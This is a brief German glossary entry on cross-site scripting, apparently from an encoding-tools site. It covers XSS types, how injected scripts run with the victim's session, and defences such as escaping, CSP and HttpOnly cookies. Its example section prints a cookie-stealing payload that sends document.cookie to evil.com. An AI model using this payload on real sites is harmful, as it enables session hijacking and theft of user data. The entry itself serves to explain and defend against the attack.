Zum Inhalt springen
uencoder

XSS

XSS (Cross-Site Scripting) ist der Angriff, bei dem ein Angreifer bösartige Skripte in eine Seite einschleust, die im Browser anderer Nutzer ausgeführt werden; es gibt gespeicherte, reflektierte und DOM-basierte Formen.

Zweck

Verhindern, dass bösartige Skripte im Kontext einer vertrauenswürdigen Seite laufen, und Nutzersitzungen und -daten schützen.

Mechanismus

Der Angreifer injiziert <script> in die Seite (gespeichert über die Datenbank, reflektiert über URL-Parameter, DOM-basiert über clientseitige DOM-Manipulation). Das Skript läuft im Browser des Opfers mit dessen Sitzungsrechten, stiehlt Cookies, sendet Requests oder verändert die Seite. Abwehr: Output-Escaping, CSP, HttpOnly-Cookies.

Anwendungsfälle

  • Unescapte Nutzereingaben rendern
  • Injektion in Kommentaren und Rich Text
  • URL-Parameter in Seiten reflektieren
  • Drittanbieter-Skripte einschleusen

Beispiele

  • Eingabe
    <script>fetch("evil.com?c="+document.cookie)</script>
    Output
    Steals the user cookies

    Stored XSS

Häufige Fehler

Escaping only < > while missing quotes in attribute contexts
Escape per context: HTML/attribute/JS/URL

Verwandte Begriffe

Verwandte Tools

References